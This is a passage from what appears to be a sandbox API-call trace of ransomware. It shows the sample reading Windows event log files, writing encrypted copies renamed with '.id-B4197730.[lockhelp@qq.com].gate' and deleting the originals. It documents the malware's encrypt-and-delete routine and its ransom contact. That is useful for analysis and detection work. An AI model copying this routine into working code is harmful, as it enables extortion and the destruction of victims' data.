lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0276.547] lstrlenW (lpString=".1cd") returned 4 [0276.547] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0276.547] lstrlenW (lpString=".jpg") returned 4 [0276.547] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.547] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0276.547] lstrlenW (lpString="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 74 [0276.547] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0276.548] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=69632) returned 1 [0276.548] CloseHandle (hObject=0x394) returned 1 [0276.548] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20 [0276.548] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.548] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0276.548] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0276.548] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0276.548] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0276.549] GetLastError () returned 0x0 [0276.549] ReadFile (in: hFile=0x394, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x11000, lpOverlapped=0x0) returned 1 [0276.729] WriteFile (in: hFile=0x3d0, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x11010, lpOverlapped=0x0) returned 1 [0276.730] ReadFile (in: hFile=0x394, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0276.730] WriteFile (in: hFile=0x3d0, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x168, lpOverlapped=0x0) returned 1 [0276.730] SetEndOfFile (hFile=0x3d0) returned 1 [0276.731] CloseHandle (hObject=0x3d0) returned 1 [0276.732] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0276.732] SetEndOfFile (hFile=0x394) returned 1 [0276.733] CloseHandle (hObject=0x394) returned 1 [0276.733] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0276.734] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 1 [0276.734] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0276.734] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0276.734] lstrlenW (lpString=".doc") returned 4 [0276.734] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.734] lstrlenW (lpString=".docx") returned 5 [0276.734] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.734] lstrlenW (lpString=".pdf") returned 4 [0276.734] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.734] lstrlenW (lpString=".xls") returned 4 [0276.734] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.734] lstrlenW (lpString=".xlsx") returned 5 [0276.734] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.734] lstrlenW (lpString=".ppt") returned 4 [0276.734] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.734] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0276.734] lstrlenW (lpString=".zip") returned 4 [0276.734] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.734] lstrlenW (lpString=".rar") returned 4 [0276.734] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.734] lstrlenW (lpString=".bz2") returned 4 [0276.734] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.734] lstrlenW (lpString=".7z") returned 3 [0276.734] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.734] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0276.735] lstrlenW (lpString=".dbf") returned 4 [0276.735] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0276.735] lstrlenW (lpString=".1cd") returned 4 [0276.735] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0276.735] lstrlenW (lpString=".jpg") returned 4 [0276.735] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0276.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0276.735] lstrlenW (lpString=".doc") returned 4 [0276.735] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.735] lstrlenW (lpString=".docx") returned 5 [0276.735] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.735] lstrlenW (lpString=".pdf") returned 4 [0276.735] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.735] lstrlenW (lpString=".xls") returned 4 [0276.735] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.735] lstrlenW (lpString=".xlsx") returned 5 [0276.735] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.735] lstrlenW (lpString=".ppt") returned 4 [0276.735] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0276.735] lstrlenW (lpString=".zip") returned 4 [0276.735] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.735] lstrlenW (lpString=".rar") returned 4 [0276.735] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.735] lstrlenW (lpString=".bz2") returned 4 [0276.735] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.735] lstrlenW (lpString=".7z") returned 3 [0276.735] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0276.735] lstrlenW (lpString=".dbf") returned 4 [0276.736] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.736] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0276.736] lstrlenW (lpString=".1cd") returned 4 [0276.736] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.736] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0276.736] lstrlenW (lpString=".jpg") returned 4 [0276.736] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.736] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0276.736] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Debug.evtx") returned 41 [0276.736] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0276.803] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=1052672) returned 1 [0276.803] CloseHandle (hObject=0x3d4) returned 1 [0276.803] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20 [0276.803] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.803] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0276.803] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0276.803] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0276.803] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0276.805] GetLastError () returned 0x0 [0276.805] ReadFile (in: hFile=0x3d4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0xffff0, lpOverlapped=0x0) returned 1 [0276.874] WriteFile (in: hFile=0x394, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xffff0, lpOverlapped=0x0) returned 1 [0276.887] ReadFile (in: hFile=0x3d4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x1010, lpOverlapped=0x0) returned 1 [0276.934] WriteFile (in: hFile=0x394, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x1020, lpOverlapped=0x0) returned 1 [0276.937] ReadFile (in: hFile=0x3d4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0276.937] WriteFile (in: hFile=0x394, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x126, lpOverlapped=0x0) returned 1 [0276.937] SetEndOfFile (hFile=0x394) returned 1 [0277.426] CloseHandle (hObject=0x394) returned 1 [0277.443] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0277.443] SetEndOfFile (hFile=0x3d4) returned 1 [0277.444] CloseHandle (hObject=0x3d4) returned 1 [0277.444] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0277.444] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 1 [0277.445] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0277.445] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0277.445] lstrlenW (lpString=".doc") returned 4 [0277.445] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.445] lstrlenW (lpString=".docx") returned 5 [0277.445] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.445] lstrlenW (lpString=".pdf") returned 4 [0277.445] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.445] lstrlenW (lpString=".xls") returned 4 [0277.445] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.445] lstrlenW (lpString=".xlsx") returned 5 [0277.445] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.445] lstrlenW (lpString=".ppt") returned 4 [0277.445] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.445] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0277.445] lstrlenW (lpString=".zip") returned 4 [0277.445] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.445] lstrlenW (lpString=".rar") returned 4 [0277.445] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.445] lstrlenW (lpString=".bz2") returned 4 [0277.445] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.445] lstrlenW (lpString=".7z") returned 3 [0277.445] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.445] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0277.445] lstrlenW (lpString=".dbf") returned 4 [0277.445] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.445] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0277.445] lstrlenW (lpString=".1cd") returned 4 [0277.445] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.445] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0277.446] lstrlenW (lpString=".jpg") returned 4 [0277.446] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.446] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0277.446] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0277.446] lstrlenW (lpString=".doc") returned 4 [0277.446] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.446] lstrlenW (lpString=".docx") returned 5 [0277.446] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.446] lstrlenW (lpString=".pdf") returned 4 [0277.446] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.446] lstrlenW (lpString=".xls") returned 4 [0277.446] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.446] lstrlenW (lpString=".xlsx") returned 5 [0277.446] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.446] lstrlenW (lpString=".ppt") returned 4 [0277.446] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.446] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0277.446] lstrlenW (lpString=".zip") returned 4 [0277.446] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.446] lstrlenW (lpString=".rar") returned 4 [0277.446] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.446] lstrlenW (lpString=".bz2") returned 4 [0277.446] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.446] lstrlenW (lpString=".7z") returned 3 [0277.446] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.446] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0277.446] lstrlenW (lpString=".dbf") returned 4 [0277.446] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.446] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0277.446] lstrlenW (lpString=".1cd") returned 4 [0277.446] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.446] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0277.446] lstrlenW (lpString=".jpg") returned 4 [0277.446] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.447] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0277.447] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Operational.evtx") returned 45 [0277.447] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0277.447] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=69632) returned 1 [0277.447] CloseHandle (hObject=0x3d4) returned 1 [0277.447] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20 [0277.447] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0277.447] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0277.447] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0277.447] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0277.447] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0277.448] GetLastError () returned 0x0 [0277.448] ReadFile (in: hFile=0x3d4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x11000, lpOverlapped=0x0) returned 1 [0277.695] WriteFile (in: hFile=0x394, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x11010, lpOverlapped=0x0) returned 1 [0277.697] ReadFile (in: hFile=0x3d4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0277.697] WriteFile (in: hFile=0x394, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x12e, lpOverlapped=0x0) returned 1 [0277.697] SetEndOfFile (hFile=0x394) returned 1 [0277.917] CloseHandle (hObject=0x394) returned 1 [0277.918] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0277.918] SetEndOfFile (hFile=0x3d4) returned 1 [0277.920] CloseHandle (hObject=0x3d4) returned 1 [0277.920] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0277.957] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 1 [0277.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0277.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0277.960] lstrlenW (lpString=".doc") returned 4 [0277.960] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.960] lstrlenW (lpString=".docx") returned 5 [0277.960] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.960] lstrlenW (lpString=".pdf") returned 4 [0277.960] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.960] lstrlenW (lpString=".xls") returned 4 [0277.960] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.960] lstrlenW (lpString=".xlsx") returned 5 [0277.960] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.960] lstrlenW (lpString=".ppt") returned 4 [0277.960] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0277.961] lstrlenW (lpString=".zip") returned 4 [0277.961] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.961] lstrlenW (lpString=".rar") returned 4 [0277.961] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.961] lstrlenW (lpString=".bz2") returned 4 [0277.961] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.961] lstrlenW (lpString=".7z") returned 3 [0277.961] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0277.961] lstrlenW (lpString=".dbf") returned 4 [0277.961] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0277.961] lstrlenW (lpString=".1cd") returned 4 [0277.961] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0277.961] lstrlenW (lpString=".jpg") returned 4 [0277.961] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0277.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0277.961] lstrlenW (lpString=".doc") returned 4 [0277.961] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.961] lstrlenW (lpString=".docx") returned 5 [0277.961] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.961] lstrlenW (lpString=".pdf") returned 4 [0277.961] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.961] lstrlenW (lpString=".xls") returned 4 [0277.961] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.961] lstrlenW (lpString=".xlsx") returned 5 [0277.961] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.961] lstrlenW (lpString=".ppt") returned 4 [0277.961] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0277.961] lstrlenW (lpString=".zip") returned 4 [0277.961] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.962] lstrlenW (lpString=".rar") returned 4 [0277.962] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.962] lstrlenW (lpString=".bz2") returned 4 [0277.962] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.962] lstrlenW (lpString=".7z") returned 3 [0277.962] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0277.962] lstrlenW (lpString=".dbf") returned 4 [0277.962] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0277.962] lstrlenW (lpString=".1cd") returned 4 [0277.962] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0277.962] lstrlenW (lpString=".jpg") returned 4 [0277.962] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.962] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0277.962] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 66 [0277.962] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 